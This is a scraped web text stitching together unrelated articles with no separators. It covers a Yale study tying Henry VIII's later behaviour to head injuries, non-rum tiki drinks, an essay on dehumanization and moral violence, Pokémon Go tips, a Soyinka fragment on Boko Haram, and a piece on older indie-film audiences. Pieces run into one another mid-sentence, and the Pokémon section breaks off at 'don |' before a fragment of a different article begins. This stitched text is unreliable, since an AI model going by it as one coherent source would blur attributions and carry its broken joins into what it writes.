Traumatic brain injury explains the memory problems, explosive anger, inability to control impulses, headaches, insomnia — and maybe even impotence — that afflicted Henry during the decade before his death in 1547, according to a paper published in the Journal of Clinical Neuroscience on Feb. 5.
“It is intriguing to think that modern European history may have changed forever because of a blow to the head,” said Arash Salardini, behavioral neurologist, co-director of the Yale Memory Clinic and senior author of the study.
The English monarch is best known for his dispute with the Catholic Church over his desire to annul his first marriage to Catherine of Aragon and marry Anne Boleyn. The affair led to the English Reformation and the creation of the Church of England. Henry would marry six times — and execute two of his wives.
Research assistants Muhammad Qaiser Ikram and Fazle Hakim Saijad analyzed volumes of Henry’s letters and other historical sources to document his known medical history and events that may have contributed to his ailments. Their findings confirm conjecture by some historians that jousting injuries caused later health and behavioral problems.
Henry suffered two major head injuries during his 30s. In 1524, a lance penetrated the visor of his helmet during a jousting tournament and dazed him. A year later, he was knocked out when he fell head-first into a brook he was trying to vault across with a pole. However, said the researchers, the English monarch’s increasingly unpredictable behavior may have been triggered by an accident during a jousting match in January of 1536 when a horse fell on Henry, causing him to lose consciousness for two hours.
“Historians agree his behavior changed after 1536,’’ said Salardini, noting that descriptions of Henry during his youth portrayed an intelligent and even-tempered young man who made wise military and policy decisions. His behavior in the later years of his life became notoriously erratic: He was forgetful and prone to rages and impulsive decisions.
In 1546, for instance, he was assuring his sixth wife Catherine Parr, that he would not send her to the Tower of London when soldiers arrived to arrest her. He launched into a tirade against the soldiers, having forgotten that he had given that order the day before.
Other occasional side effects of traumatic brain injury are growth hormone deficiency and hypogonadism, which may lead to metabolic syndrome and impotence, respectively. Despite the womanizing reputation of his youth, Henry had difficulty completing sexual intercourse as far back as his marriage to his second wife, Ann Boleyn, in 1533, some evidence suggests.
Other ailments attributed to Henry — such as syphilis, diabetes, or Cushing Syndrome, a condition marked by weight gain and obesity — seem less likely in light of the available evidence, said the study’s authors, noting that traumatic brain injury best explains most of his behavioral abnormalities.When most people think of tiki drinks, they often think of rum, rum and more rum. But that’s not everything on the menu: an overlooked genre of tiki classics are made with a wide range of other spirits, too. Atypical Tiki The Saturn An essential, gin-based entry into the classic tiki canon, this version of the Saturn was adapted by Garret Richard of Slowly Shirley. The Port Light The Port Light is an essential non-rum tiki drink. Suffering Bastard Made with both brandy and gin, this non-rum tiki drink dates from the genre’s Golden Era. More Recipes →
“Tiki is not just rum, it’s a blend of spirits,” says St. Louis bartender Matt Seiter, who regularly hosts a “Gin in Tiki” seminar. In fact, a significant number of tiki cocktails showcase gin, bourbon, vodka or brandy—and not a drop of rum.
The majority of these drinks, however, feature gin (the Singapore Sling, the Rangoon Gimlet) or whiskey (The Port Light, the Eastern Sour)—which makes sense given that most midcentury drinkers were quaffing Martinis and Manhattans as the tiki craze started to take hold.
“You’ll always find whiskey and gin drinks on midcentury Polynesian restaurant cocktail menus because bourbon and gin were still the preferred pours for most customers back then,” explains Jeff “Beachbum” Berry, a tiki expert and proprietor of New Orleans’ Latitude 29. “For every 1940s [and] ’50s patron who adventurously ordered an exotic rum drink, there would be another who’d stick to tried-and-true bourbon.”
To be fair, rum is still the number-one spirit found in tropical drinks by a wide margin. A glance at the index of Berry’s 2010 book, Beachbum Berry Remixed, one of the first modern-day tiki cocktail compilations, tells the story: compared to more than 160 rum drinks, a paltry 15 recipes in the book feature gin, 11 whiskey, seven tequila and/or mezcal, six vodka, three cognac and just two for pisco.
Where did these non-rum outliers come from? Most tiki experts credit Trader Vic Bergeron. While tiki godfather Donn Beach is credited with blending rums to create complexity in tropical drinks, Trader Vic is noted for applying the same technique with a broader brush, blending in a variety of spirits.
“Vic experimented with bourbon, gin and tequila in exotic cocktails—all to great success,” says Martin Cate, the owner of San Francisco’s preeminent tiki bar, Smuggler’s Cove. “He found that gin was agreeable with a lot of his favorite ingredients, like lemon juice and orgeat.”
As a result of this experimentation by Vic and others, we have enduring (if overlooked) classics from the 1940s and ’50s, like the Chi-Chi, a cousin of the Piña Colada, made with vodka; the El Diablo, a mix of tequila with a spicy ginger beer base, kicked up with crème de cassis; and the Suffering Bastard, a blend of both gin and brandy with ginger beer and lime, which Cate describes as “a welcome guest in the house of tiki.”
A relatively new, less widely-known drink has also become something of a tiki modern classic: The Saturn. This gin drink, which was discovered by Jeff “Beachbum” Berry, dates to 1967, when California bartender J. “Popo” Galsini won the International Bartender’s Association World Championship with it. Though it doesn’t include rum, it has all the traditional markings of a great tiki drink: passion fruit juice, the sweet spice of orgeat and falernum and a whimsical garnish that’s meant to evoke the ringed planet for which the cocktail is named.
Decades after Trader Vic broadened the tiki canon beyond just rum, now almost all tiki menus include non-rum drinks—particularly at bars with a more non-traditional bent. Yet, they still include tropical flavors or nod to exotic regions. For example, at Pittsburgh’s Hidden Harbor, the Leaf & Bean features rye whiskey alongside cacao, Kona coffee, allspice and tobacco bitters; Chicago’s Lost Lake offers a Jungle Bird variation that replaces rum with a split base of reposado tequila and mezcal; and New York’s Polynesian-themed Mother of Pearl offers non-rum drinks with aquavit, pisco and even smoky Islay Scotch.
Yet, gin seems to be particularly ripe for tiki experimentation. According to Seiter, that’s because the current gin boom has yielded an enormous palette of botanicals well-suited to mixing and matching. Seiter, for example, combines three gins for a Ti’ Punch-style gin cocktail: a classic juniper-bomb London dry; creamy, rose-accented Nolet’s; and a spicy, higher-proof local craft gin.
“The flavors, textures and aromas of gin now rival what Donn had to play with in rum back in the ’30s,” Seiter concludes. “The gin out there now screams blend me and mix me and put me in a tiki mug.”Violent acts are often motivated, rather than countermanded, by ethical norms. Illustration by Gérard DuBois Audio: Listen to this story. To hear more feature stories, download the Audm app for your iPhone.
A recent episode of the dystopian television series “Black Mirror” begins with a soldier hunting down and killing hideous humanoids called roaches. It’s a standard science-fiction scenario, man against monster, but there’s a twist: it turns out that the soldier and his cohort have brain implants that make them see the faces and bodies of their targets as monstrous, to hear their pleas for mercy as noxious squeaks. When our hero’s implant fails, he discovers that he isn’t a brave defender of the human race—he’s a murderer of innocent people, part of a campaign to exterminate members of a despised group akin to the Jews of Europe in the nineteen-forties. The philosopher David Livingstone Smith, commenting on this episode on social media, wondered whether its writer had read his book “Less Than Human: Why We Demean, Enslave, and Exterminate Others” (St. Martin’s). It’s a thoughtful and exhaustive exploration of human cruelty, and the episode perfectly captures its core idea: that acts such as genocide happen when one fails to appreciate the humanity of others. One focus of Smith’s book is the attitudes of slave owners; the seventeenth-century missionary Morgan Godwyn observed that they believed the Negroes, “though in their Figure they carry some resemblances of Manhood, yet are indeed no Men” but, rather, “Creatures destitute of Souls, to be ranked among Brute Beasts, and treated accordingly.” Then there’s the Holocaust. Like many Jews my age, I was raised with stories of gas chambers, gruesome medical experiments, and mass graves—an evil that was explained as arising from the Nazis’ failure to see their victims as human. In the words of the psychologist Herbert C. Kelman, “The inhibitions against murdering fellow human beings are generally so strong that the victims must be deprived of their human status if systematic killing is to proceed in a smooth and orderly fashion.” The Nazis used bureaucratic euphemisms such as “transfer” and “selection” to sanitize different forms of murder. As the anthropologist Claude Lévi-Strauss noted, “humankind ceases at the border of the tribe, of the linguistic group, even sometimes of the village.” Today, the phenomenon seems inescapable. Google your favorite despised human group—Jews, blacks, Arabs, gays, and so on—along with words like “vermin,” “roaches,” or “animals,” and it will all come spilling out. Some of this rhetoric is seen as inappropriate for mainstream discourse. But wait long enough and you’ll hear the word “animals” used even by respectable people, referring to terrorists, or to Israelis or Palestinians, or to undocumented immigrants, or to deporters of undocumented immigrants. Such rhetoric shows up in the speech of white supremacists—but also when the rest of us talk about white supremacists. It’s not just a matter of words. At Auschwitz, the Nazis tattooed numbers on their prisoners’ arms. Throughout history, people have believed that it was acceptable to own humans, and there were explicit debates in which scholars and politicians mulled over whether certain groups (such as blacks and Native Americans) were “natural slaves.” Even in the past century, there were human zoos, where Africans were put in enclosures for Europeans to gawk at. Early psychological research on dehumanization looked at what made the Nazis different from the rest of us. But psychologists now talk about the ubiquity of dehumanization. Nick Haslam, at the University of Melbourne, and Steve Loughnan, at the University of Edinburgh, provide a list of examples, including some painfully mundane ones: “Outraged members of the public call sex offenders animals. Psychopaths treat victims merely as means to their vicious ends. The poor are mocked as libidinous dolts. Passersby look through homeless people as if they were transparent obstacles. Dementia sufferers are represented in the media as shuffling zombies.” “Mind if I put the game on?” The thesis that viewing others as objects or animals enables our very worst conduct would seem to explain a great deal. Yet there’s reason to think that it’s almost the opposite of the truth.
At some European soccer games, fans make monkey noises at African players and throw bananas at them. Describing Africans as monkeys is a common racist trope, and might seem like yet another example of dehumanization. But plainly these fans don’t really think the players are monkeys; the whole point of their behavior is to disorient and humiliate. To believe that such taunts are effective is to assume that their targets would be ashamed to be thought of that way—which implies that, at some level, you think of them as people after all. Consider what happened after Hitler annexed Austria, in 1938. Timothy Snyder offers a haunting description in “Black Earth: The Holocaust as History and Warning”: The next morning the “scrubbing parties” began. Members of the Austrian SA, working from lists, from personal knowledge, and from the knowledge of passersby, identified Jews and forced them to kneel and clean the streets with brushes. This was a ritual humiliation. Jews, often doctors and lawyers or other professionals, were suddenly on their knees performing menial labor in front of jeering crowds. Ernest P. remembered the spectacle of the “scrubbing parties” as “amusement for the Austrian population.” A journalist described “the fluffy Viennese blondes, fighting one another to get closer to the elevating spectacle of the ashen-faced Jewish surgeon on hands and knees before a half-dozen young hooligans with Swastika armlets and dog-whips.” Meanwhile, Jewish girls were sexually abused, and older Jewish men were forced to perform public physical exercise. The Jews who were forced to scrub the streets—not to mention those subjected to far worse degradations—were not thought of as lacking human emotions. Indeed, if the Jews had been thought to be indifferent to their treatment, there would have been nothing to watch here; the crowd had gathered because it wanted to see them suffer. The logic of such brutality is the logic of metaphor: to assert a likeness between two different things holds power only in the light of that difference. The sadism of treating human beings like vermin lies precisely in the recognition that they are not. What about violence more generally? Some evolutionary psychologists and economists explain assault, rape, and murder as rational actions, benefitting the perpetrator or the perpetrator’s genes. No doubt some violence—and a reputation for being willing and able to engage in violence—can serve a useful purpose, particularly in more brutal environments. On the other hand, much violent behavior can be seen as evidence of a loss of control. It’s Criminology 101 that many crimes are committed under the influence of drugs and alcohol, and that people who assault, rape, and murder show less impulse control in other aspects of their lives as well. In the heat of passion, the moral enormity of the violent action loses its purchase. But “Virtuous Violence: Hurting and Killing to Create, Sustain, End, and Honor Social Relationships” (Cambridge), by the anthropologist Alan Fiske and the psychologist Tage Rai, argues that these standard accounts often have it backward. In many instances, violence is neither a cold-blooded solution to a problem nor a failure of inhibition; most of all, it doesn’t entail a blindness to moral considerations. On the contrary, morality is often a motivating force: “People are impelled to violence when they feel that to regulate certain social relationships, imposing suffering or death is necessary, natural, legitimate, desirable, condoned, admired, and ethically gratifying.” Obvious examples include suicide bombings, honor killings, and the torture of prisoners during war, but Fiske and Rai extend the list to gang fights and violence toward intimate partners. For Fiske and Rai, actions like these often reflect the desire to do the right thing, to exact just vengeance, or to teach someone a lesson. There’s a profound continuity between such acts and the punishments that—in the name of requital, deterrence, or discipline—the criminal-justice system lawfully imposes. Moral violence, whether reflected in legal sanctions, the killing of enemy soldiers in war, or punishing someone for an ethical transgression, is motivated by the recognition that its victim is a moral agent, someone fully human.
In the fiercely argued and timely study “Down Girl: The Logic of Misogyny” (Oxford), the philosopher Kate Manne makes a consonant argument about sexual violence. “The idea of rapists as monsters exonerates by caricature,” she writes, urging us to recognize “the banality of misogyny,” the disturbing possibility that “people may know full well that those they treat in brutally degrading and inhuman ways are fellow human beings, underneath a more or less thin veneer of false consciousness.” Manne is arguing against a weighty and well-established school of thought. Catharine A. MacKinnon has posed the question: “When will women be human?” Rae Langton has explored the idea of sexual solipsism, a doubt that women’s minds exist. And countless theorists talk about “objectification,” the tendency to deny women’s autonomy and subjecthood, and to scant their experiences. Like Fiske and Rai, Manne sees a larger truth in the opposite tendency. In misogyny, she argues, “often, it’s not a sense of women’s humanity that is lacking. Her humanity is precisely the problem.” Men, she proposes, have come to expect certain things from women—attention, admiration, sympathy, solace, and, of course, sex and love. Misogyny is the mind-set that polices and enforces these goals; it’s the “law enforcement branch” of the patriarchy. The most obvious example of this attitude is the punishing of “bad women,” where being bad means failing to give men what they want. But misogyny also involves rewarding women who do conform, and sympathizing with men (Manne calls this “himpathy”) who have done awful things to women. As a case study of misogyny, Manne considers strangulation—almost always performed by men on female intimate partners—which she describes as “a demonstration of authority and domination,” a form of torture that often leaves no marks. Other forms of expressive violence are very much intended to leave marks, notably “vitriolage,” or acid attacks, directed against girls and women in Bangladesh and elsewhere. Catalysts for such attacks include refusal of marriage, sex, and romance. Then, there are so-called family annihilators, almost always men, who kill their families and, typically, themselves. Often, the motivation is shame, but sometimes hatred is a factor as well; and sometimes the mother of murdered children is left alive, perhaps notified by phone or a letter afterward—See what you’ve made me do. The victim is also the audience; her imagined response figures large in the perpetrator’s imagination. Manne delves into the case of Elliot Rodger, who, in 2014, went on a killing spree, targeting people at random, after he was denied entry to a sorority house at the University of California, Santa Barbara. He slew six people and injured fourteen more before killing himself. In a videotape, Rodger, who was twenty-two, explained that women “gave their affection and sex and love to other men but never to me.” And then, talking to these women, he said, “I will punish you all for it.... I’ll take great pleasure in slaughtering all of you.” Manne makes clear that Rodger wasn’t objectifying women; he was simply enraged that their capacity for love and romance didn’t extend to him. Manne’s analysis can be seen as an exploration of an observation made by Margaret Atwood—that men are afraid that women will laugh at them, and women are afraid that men will kill them. For Manne, such violent episodes are merely an extreme manifestation of everyday misogyny, and she extends her analysis to catcalling, attitudes toward abortion, and the predations of Donald Trump. “We’re already wondering what her legacy might be.” Nor are the mechanisms she identifies confined to misogyny. The aggressions licensed by moral entitlement, the veneer of bad faith: those things are evident in a wide range of phenomena, from slaveholders’ religion-tinctured justifications to the Nazi bureaucrats’ squeamishness about naming the activity they were organizing, neither of which would have been necessary if the oppressors were really convinced that their victims were beasts. If the worst acts of cruelty aren’t propelled by dehumanization, not all dehumanization is accompanied by cruelty. Manne points out that there’s nothing wrong with a surgeon viewing her patients as mere bodies when they’re on the operating table; in fact, it’s important for doctors not to have certain natural reactions—anger, moral disgust, sexual desire—when examining patients. The philosopher Martha C. Nussbaum has given the example of using your sleeping partner’s stomach as a pillow when lying in bed, and goes on to explore the more fraught case of objectification during sexual intercourse, suggesting that there’s nothing inherently wrong about this so long as it is consensual and restricted to the bedroom. As a philosopher, Manne grounds her arguments in more technical literature, and at one point she emphasizes the connection between her position and the Oxford philosopher P. F. Strawson’s theory of “reactive attitudes.” Strawson argued that, when we’re dealing with another person as a person, we can’t help experiencing such attitudes as admiration and gratitude, resentment and blame. You generally don’t feel this way toward rocks or rodents. Acknowledging the humanity of another, then, has its risks, and these are neatly summarized by Manne, who notes that seeing someone as a person makes it possible for that person to be a true friend or beloved spouse, but it also makes it possible for people to be “an intelligible rival, enemy, usurper, insubordinate, betrayer, etc.” She goes on: Moreover, in being capable of rationality, agency, autonomy, and judgment, they are also someone who could coerce, manipulate, humiliate, or shame you. In being capable of abstract relational thought and congruent moral emotions, they are capable of thinking ill of you and regarding you contemptuously. In being capable of forming complex desires and intentions, they are capable of harboring malice and plotting against you. In being capable of valuing, they may value what you abhor and abhor what you value. They may hence be a threat to all that you cherish. If there’s something missing from these approaches to violence, it’s attention to first-person attitudes, how we think about ourselves as moral agents. I can resent someone, but I can also feel shame at how I treated him or her. Fiske and Rai sometimes write as if the paradigm of moralistic violence were the final scene of the movie in which our hero blows away the terrorist or the serial killer or the rapist—a deeply satisfying act that has everyone cheering. But what about doubt and ambivalence? Some fathers who severely beat their misbehaving children, or some soldiers who engage in “punitive rape,” are confident in the moral rightness of their acts. But some aren’t. Real moral progress may involve studying the forms of doubt and ambivalence that sometimes attend acts of brutality.Being the very best (like no one ever was) is surprisingly difficult in Pokémon Go. You can’t just grind your way to a strong Pokémon anymore: you’ve got to get out there and explore. We’ve got some pointers to help you make the best out of your journey.
From finding monsters out in the wild, to challenging your first gym, here’s everything you should know about playing Pokémon Go.
Pick a log-in method
Pokémon Go lets you sign in with a Google account or as a Pokemon Trainer. The former is more stable; the latter beset with log-in issues. The thing is: you have to pick one. You can’t start with a Google account and then decide to switch to a Trainer account. Doing so creates a new account. So decide early and stick with it.
Don’t worry too much about security with your Google account, as the risks there have been overstated, but if you’re interested in retaining the legal rights that the terms of service strips from players, check this out.
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Get Pikachu
Pokémon Go doesn’t tell you this, but there is actually a fourth option outside of Charmander, Squirtle, and Bulbasaur. To get Pikachu, you just have to physically walk away from the initial starters, as you can see in the video below.
Take Pokémon Go with you everywhere
Not only does Pokémon Go spawn monsters based on your geographical location, it also takes into account your distance traveled while playing. Booting up Pokémon Go whenever you are someplace new or different is a great idea.
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Keep Pokémon Go open
In order for your steps to count, Pokémon Go needs to be active and at the foreground of your phone. Sorry, multitaskers.
Charge your phone
Relatedly, Pokémon Go will murder your battery life. I walk around with a portable charger in my back pocket to help keep things running in Pokémon Go, but it may be enough to simply carry around a charger for emergencies. At the very least, you should consider playing on low power mode (offered by the game in the settings) or battery saving mode (on your actual phone.)
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If you want more tips on how to save battery life, check out this post by Lifehacker. There are also ways of saving data, and you can read about that here.
Turn the camera off
Seeing Pokémon “in the real world” is novel at first, but it doesn’t really help you outside of potentially providing funny screenshots. It’s much easier to catch Pokémon within the game’s interface, so make sure to turn off AR with the button pictured below.
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Pick whatever team you want
It honestly doesn’t matter too much. I went with my favorite color (Red), though each team has its own quirks and stigma. If it helps, you can stop by Red, Yellow, and Blue’s Reddit pages to get a sense of what you’re signing up for. Alternatively, you can check out the gyms near you and see which team is the most popular, and go from there.
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Rename your Pokemon
Have some fun with it! Do note that you can use HTML tags too, so go wild.
Keep only the strongest Pokémon
Every creature your capture will have a “CP” number, which stands for combat power. The higher the number, the better. If you find yourself with multiples of the same Pokémon, keep the one with the biggest CP. Everyone else should get transferred. You transfer Pokemon by tapping on them, scrolling down, and selecting this option:
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Every transfer nets you a candy, which you can use to evolve other Pokémon.
Do note that, in addition to thinking about CP, you should also consider a monster’s overall potential. In the case below, for example....
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Scyther has a graph that is a little over halfway full, and is currently at 395 CP. This gives me a sense of what his total CP will be down the line, if I were to power him up. Sometimes, you might get a monster that has a high CP but low overall potential, which is no good!
Keep capturing weak Pokémon
At some point, you will get sick of the most common Pokémon that spawn near you. Still, if you’ve got the Pokeballs, you should keep capturing those boring critters: they’re XP fodder. And the higher level you are, the better Pokémon you will encounter in the wild. You can read more about the benefits of capturing weak Pokémon here.
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Try throwing curveballs
The timing of the Pokeball throw can be hard to grok at first, but once you’ve nailed it, you should try practicing more advanced throws. If successful, you’ll earn more XP per catch. Just know that things like windspeed and even the color of the ring around the Pokemon can affect your capture attempt (green is easiest, red is hardest, but worth more XP.)
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Use berries
Berries make it easier to capture Pokémon. You can find them in your backpack.
Plan routes
Wandering while playing Pokémon Go has a certain charm to it, but I find that Pokémon Go is the most enjoyable when I have a sense of where I am going. Making sure to drop by hot lure spots is a good way to meet other people playing Pokémon, not to mention an easy way of capturing more Pokémon. It’s also fun to make a point of visiting places and landmarks you are not familiar with, just to give Pokémon Go a sense of adventure. If adventure isn’t your thing, planning can still be useful if you want to use Pokemon Go as a workout excuse. Alternatively, you can find restaurants that double as Pokestops here.
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Track specific monsters
Okay, look. Nobody really knows how the “Nearby” tab works, and sometimes the feature is straight-up busted. All the same, trying to find Pokémon that you want is a core part of the experience. If you see a rare Pokémon on your tracker, drop everything and try to find it—yes, even if it means wandering in every cardinal direction until the pawprints diminish.
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Or if you’d like to get straight to the point, there is actually a separate unofficial map app that can help you find specific monsters.
Go on trips
New places, new Pokémon, new journey. Who knows what you might find? Good places to try: the beach, museums, parks. It is also said that there are region-specific Pokémon, so once again, bringing Pokémon Go with you everywhere is a good idea.
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Play while riding in the car
Maybe this is cheating, but... cities are full of Pokestops and Pokémon Gyms. If you just so happen to be taking a cab (or an Uber, carpool, etc) through the city at a slow speed, you can connect to a lot of Pokestops and even grab a lot of Pokémon.
Use your bike
Just like in the original games, you can cruise on your bike while playing if you’d like—just make sure to blast the theme song, embedded above. Lifehacker has a great guide on how to get started with your bike and Pokémon Go here.
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Play at different times of day
There are critters I’ve only seen in the morning, and some that are more likely to spawn at night time. Experiment!
Play with friends
Pokémon Go is a social experience, and the more people around you, the better—not only can you shoot the shit with friends while walking, having a team will help when you challenge a gym, as multiple people can attack at once.
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Be friendly and talk to people
You’re bound to find somebody playing Pokémon Go while out and about. Even if you’re not the extroverted type, there’s a benefit to chatting with others: they might tell you where to find monsters you haven’t caught yet, or about good Pokestops you should hit up. Who knows, maybe you’ll make a new buddy.
Use lures
Technically, lures are meant to attract Pokémon, but in actuality, they will attract people to a specific spot more than anything else. Pick a good locale, pop a lure, and if you want, start acting like you are the host of a party. It’s a blast.
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Don’t trespass or create a nuisance
It’s good to be mindful while playing Pokémon Go. Be considerate of those around you, and try not to be a jerk. Definitely don’t break any laws in an attempt to catch Pokémon—as you’ve probably seen in the news, it’s very easy to get carried away here. Lifehacker has written a helpful guide on how to stay safe while playing.
Appreciate your Pokestops
Look around you. Look around you. One of the best things about Pokémon Go is the way it helps you rediscover your neighborhood, or at least notice smaller details you might otherwise never see.
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Save your stardust
Since the best Pokémon appear at higher levels, it’s not worth spending anything on the stuff you find early on. I’ve had situations where I painstakingly tried to nurture a Pokémon, only to find something random out in the street that was way stronger. Unless the Pokémon is nearing or over 1k CP, don |
the roll call of death.”
Boko Haram’s members considered abducting 200 girls to be “virtuous” and moderate Muslims could not simply disavow their actions with “pious incantations” that “these are not the true followers of the faith”. “We have to ask such leadership penitents: ‘Were there times when you kept silent while such states of mind, overt or disguised, were seeding fanaticism around you? Are you vicariously liable?” said Soyinka.
The 80-year-old Nigerian author condemned the ever-popular No True Scotsman fallacy as a stale cop-out:
I hesitate to lay blame for religious violence at the feet of believers who haven’t — and wouldn’t — hurt a fly. Then again, silence can make a bad situation terrible, and a terrible situation deadly. Does Soyinka’s argument resonate with you? Why or why not?
(Image via Wikipedia)Michael Showalter’s Hello, My Name Is Doris (out Friday in limited release) is a charming, funny, sweet, little movie – and, consciously or not, one of the more commercially savvy independent pictures of the season. Oh, it may not look that way; on its face, Doris is a quirky little comedy from one of the minds behind Wet Hot American Summer. Yet because of who it’s about (a sparkly, likable near-senior citizen, played by Sally Field) and how it’s about it (a hip, indie New York comedy), it feels like Showalter’s put together a perfectly aligned Venn diagram for sleeper success. And the reason is simple: Doris is a movie that appeals to older moviegoers, and they’ve quietly become the most reliable audience out there for independent film.
Don’t believe me? Let’s take a pop quiz. What was last year’s highest-grossing Sundance film? If you answered It Follows, the much-buzzed indie horror sleeper, I’m afraid you’re wrong; it was Brooklyn, your grandmother’s (and, OK, film editor’s) favorite Oscar contender, which has grossed $37 million and counting. What about second place? Perhaps the winner of both the Grand Jury Prize and the Audience Award, Me and Earl and the Dying Girl? Nope; it was A Walk in the Woods, the Robert Redford/Nick Nolte-fronted Bill Bryson adaptation, which snuck into theaters last fall and grossed nearly $30 million while no one was looking. In fact, if you examine the post-Park City box office numbers, such youth-oriented, buzz-heavy favorites as Me and Earl, The End of the Tour, and Mistress America were ultimately out-grossed not only by Walk, but by I’ll See You in My Dreams and Grandma – two more films about senior citizens.
And it’s not just a question of Sundance alums. Last year’s highest-grossing indie movies also included the Helen Mirren vehicle Woman in Gold (which did $33 million of steady business last spring), The Second-Best Exotic Marigold Hotel (same gross, in the same frame), and Mr. Holmes ($17 million as summer counter-programming). In 2014 – the most recent year when statistics were available – the MPAA found “the share of tickets sold to 40-49 and 50-59 year olds were at all time highs, while the share of tickets sold to 60+ year olds (13%) was at its highest level since 2011.” And during that same period, fewer tickets were sold to 18-24 year olds and 25-39 year olds.
In other words, at some point in our recent history, the most reliable target audience for independent films shifted; theaters you might assume are full of 20- and 30-something Brooklyn hipsters of the type played by Max Greenfield and Kumail Nanjiani in Doris are in fact, most of the time, hosting audiences that look more like Sally Field.
Daniela Tuplin Lundberg, one of Doris’ producers (her credits also include The Kids Are All Right, Beasts of No Nation, and What Maisie Knew), says they “didn’t set out to make the movie” because of its potential appeal to that older audience. But “in the wake of making it, we really have seen these movies – like Grandma and I’ll See You in My Dreams – that have a real life in the theaters, and so I feel like the older audience is certainly reliable. I feel like filmmakers and distributors are paying attention to that much, much more than they have in the past.”
It’s a sharp departure from the standard studio groupthink that targets all product at the lucrative under-35 demo, but Scott Mendelson, who covers box office trends for Forbes, sees the pattern as well. “You have people that say, ‘Jeez, why don’t they make movies for people like me anymore?’ When they do, within reason – in terms of budget and expectations – that demographic tends to show up.” There were hit films targeted at them before: Driving Miss Daisy, Cocoon, Grumpy Old Men, The Bucket List. But the turning point for that 60+ demographic, it seems, was The Best Exotic Marigold Hotel. That ensemble comedy/drama looked like a sacrificial lamb to many observers (including this one) when it opened against The Avengers back in May of 2012. Instead, Fox-Searchlight’s bold bit of counterprogramming resulted in a $136 million worldwide haul – and the realization that there was an audience for movies about senior citizens.
In the four years since its release, Mendelson says, we’ve seen that model adopted by upstart distributors like Bleecker Street, Broad Green, A24, and Open Road, “new distribution networks that, in their own skewed way, are going to save theaters by a) offering material that is somewhat counterprogramming to the tentpoles, and b) being able to have just enough muscle to keep them in theaters for long enough for people to see them. And every once in a while they’ll get a Spotlight or a Brooklyn or a Woman in Gold… And that’s the kind of film that ten, 15 years ago would have been a casual Saturday night at the movies. That would have been the stuff that Warner Brothers put out in the middle of winter.”
And that’s a key piece of the puzzle: with studios increasingly uninterested in the kind of mid-budget, adult-oriented dramas that older audiences gravitate towards, independent filmmakers and distributors are discovering that audience is theirs for the taking. We’ve talked about that shift before; in researching that piece, I talked to Desperately Seeking Susan director Susan Seidelman, who was trying to mine the AARP set clear back in 2005. “I did Boynton Beach Club, which was a kind of a date movie for people 60 and above,” she told me. “At that time, we had real difficulty trying to prove that there was a big enough audience. We made the film independently through equity financing, and then got it out there, got it accepted to a lot of festivals, it got nice reviews, and still a lot of the traditional distribution companies said, ‘We don’t believe there’s a big enough audience out there.’ My producers and I disagreed, so we decided to start out self-distributing, opening it in areas where we knew there was a larger, older demographic – like in South Florida, for example. And we did really well! And suddenly, some of the distributors who had rejected us the first time around came back and said, ‘Oh, OK, I get it! Maybe there is this audience out there.’”
The success of these films, Mendelson is careful to note, isn’t likely to cause studios to alter the franchise-chasing paths they’re on. “If you’re a major studio, you’re not going to impress the shareholders by saying, ‘We’ve got Grandma coming out in March!’” he says. “Or even Woman in Gold, even though it made a decent profit… But I do think that there will be a few more [of these films], because at the end of the day the studios need to fill the non-blockbuster slots. I also think that there will be more because as we see more small distribution networks – and some of them will survive, some of them will not – they’re going to need product that isn’t an $80 million CGI-animated film or a $150 million fantasy tentpole.”
It’s also important to place the reliability of this older audience within the context of current independent cinema. Over the past several years, widespread shifts in viewing patterns and release strategies have resulted in a majority of independent releases seeing simultaneous “day and date” release in theaters and on demand. Younger viewers are more likely to rent or download (or, perhaps, steal) those titles and view them at home. According to the MPAA, the number of “frequent moviegoers” (people who see movies in the theater once a month or more) dropped by nearly two million in the 18-24 year old demo between 2012 and 2014; among 25-39 year olds, that number dropped by almost three million. But among viewers 60 and over – less inclined to download or stream, either due to technological resistance or an attachment to the experiential element of going to the movies – the number of frequent moviegoers rose.
“People over 50 grew up in a cinema-appreciating culture, where you still go and see movies on a big screen,” Seidelman notes. And for younger audiences, it’s often less a matter of interest than of time and cost. “Before I had kids, I’d go to the movies once a week,” Lundberg confesses. “And now, I have a company, I have three children, I have to commute, and it’s very difficult to get out to the theater. I feel like the older generation is not only capable of going to the theater, but that’s really the way they like to view things… And the younger generation, they’re just used to a media feed.”
Mendelson concurs, “When you’re old enough to, if not be retired than maybe have your kids out of the house,” he says, “going to the movies isn’t a giant obstacle.” And Lundberg notes that this could be the one downside of this year’s #OscarsSoWhite-driven shakeup in AMPAS membership rules, which would remove members from the voting rolls after periods of inactivity in the industry. “Anecdotally, I would have to say that my father, who was a filmmaker, and a lot of his friends – I feel they’re the ones who really do watch everything. They aren’t just watching the big-ticket items or the things that are out in front of everything, but they really are watching a few movies a week – and maybe that’s because they have time or maybe that’s just because they’re interested.”
These audiences are also seeing familiar faces from their generation that don’t get the exposure they used to. Part of the marketing hook for I’ll See You in My Dreams was that it featured 72-year-old character actress Blythe Danner in her first leading role; ditto Grandma, which was Lily Tomlin’s first lead since 1988’s Big Business. “These are actresses that had, at one time, real marquee value,” Lundberg says, and the net result is inspiring: “I think the industry — and maybe they would disagree – but I do feel like there are slightly more opportunities than there were five or ten years ago for actresses who are slightly older.”
That’s certainly something worth celebrating about Doris, which finds Sally Field playing her first leading role in a decade (and her second-most recent was a decade before that). Beyond that, though, note how the film treats her character, a mousy bookkeeper who finds herself thunderstruck by John (Max Greenfield, from New Girl), the new guy at the office, several decades her junior. A lesser movie would’ve made fun of Doris, sneered at her and her impossible crush; frankly, considering the take-no-prisoners approach of Showalter’s earlier work, it’s a bit surprising that Hello, My Name Is Doris is so darned nice. But it is – there’s a real sweetness to this film, a warmth. The movie is clearly rooting for Doris, and consequently, so are we.
And why shouldn’t we? When her best friend’s granddaughter helps her navigate Facebook to find out what her crush likes, she goes out to buy his favorite band’s new CD. When she puts on the EDM record, they could’ve gone for the cheap laugh by having her bewildered or disgusted by what came out. Instead, she finds a way into it, because she’s interested and curious, and when she goes to one of their concerts in a wild neon outfit, she fits right in. Doris becomes something of a mascot to John and his Williamsburg friends, which allows Showalter and Terruso to indulge in just enough pretentious-Brooklyn humor – she meets exciting young people (“I make my own vanilla”; “I teach at a gay preschool in Park Slope”) and becomes part of “the LGBT knitting community.”
